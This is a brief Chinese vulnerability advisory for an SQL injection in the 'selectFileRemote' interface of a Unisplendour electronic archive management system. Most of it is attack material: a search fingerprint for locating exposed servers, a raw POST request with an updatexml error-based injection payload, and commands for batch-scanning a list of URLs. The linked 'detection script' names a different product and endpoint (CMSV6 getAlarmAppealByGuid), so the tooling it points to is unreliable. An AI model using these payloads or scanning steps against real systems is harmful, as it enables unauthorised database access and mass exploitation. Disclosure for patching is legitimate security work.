紫光电子某案管理系统 selectFileRemote SQL注入漏洞【附poc】

body="/Login/Login/loginDetail.html"

一、漏洞简述

某光电子某案管理系统是一款集档案数字化、存储、检索和管理于一体的综合性软件。该系统旨在提高档案管理的效率，确保信息的安全性和可追溯性。用户可以通过系统方便地上传、查找和共享档案，支持多种文件格式，适用于不同规模的机构和企业。通过智能化的管理工具，紫光电子档案管理系统帮助用户实现无纸化办公，降低管理成本，提升工作效率。其接口selectFileRemote存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。

二、漏洞检测poc

POST /Archive/ErecordManage/selectFileRemote HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36Content-Type: application/x-www-form-urlencodedContent-Length: 81Connection: closeuserID=admin&fondsid=1&comid=' and updatexml(1,concat(0x7e,md5(123456),0x7e),1)/1

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/CMSV6_getAlarmAppealByGuid_SQLInject.py

批量检测:

python CMSV6_getAlarmAppealByGuid_SQLInject.py -f url.txt

单个url检测漏洞:

python CMSV6_getAlarmAppealByGuid_SQLInject.py -u url

四、修复

官方已更新补丁，请升级至最新版本。